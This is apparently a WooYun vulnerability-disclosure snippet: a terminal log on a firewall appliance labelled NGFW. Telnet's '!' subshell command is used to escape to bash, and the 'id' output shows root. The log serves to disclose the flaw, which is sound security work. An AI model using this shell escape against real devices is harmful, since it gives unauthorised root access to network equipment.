WooYun.org

[root@NGFW ~]# telnet -n test
telnet> help
Commands may be abbreviated.  Commands are:
close           close current connection
logout          forcibly logout remote user and close the connection
display         display operating parameters
mode            try to enter line or character mode ('mode ?' for more)
open            connect to a site
quit            exit telnet
send            transmit special characters ('send ?' for more)
set             set operating parameters ('set ?' for more)
unset           unset operating parameters ('unset ?' for more)
status          print status information
toggle          toggle operating parameters ('toggle ?' for more)
slc             change state of special charaters ('slc ?' for more)
z               suspend telnet
!               invoke a subshell
environ         change environment variables ('environ ?' for more)
?               print help information
telnet> !/bin/bash  
bash: complete: -E: invalid option
complete: usage: complete [-abcdefgjksuv] [-pr] [-o option] [-A action] [-G globpat] [-W wordlist] [-P prefix] [-S suffix] [-X filterpat] [-F function] [-C command] [name ...]
bash: complete: -D: invalid option
complete: usage: complete [-abcdefgjksuv] [-pr] [-o option] [-A action] [-G globpat] [-W wordlist] [-P prefix] [-S suffix] [-X filterpat] [-F function] [-C command] [name ...]
[I have no name!@NGFW ~]# w
 17:27:26 up  2:34,  1 user,  load average: 3.19, 2.88, 3.08
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
[I have no name!@NGFW ~]# id
uid=0 gid=0(root) groups=0(root),502(vyattacfg),503(vyattaop)
[I have no name!@NGFW ~]# exit
telnet> [root@NGFW ~]# 
[root@NGFW ~]#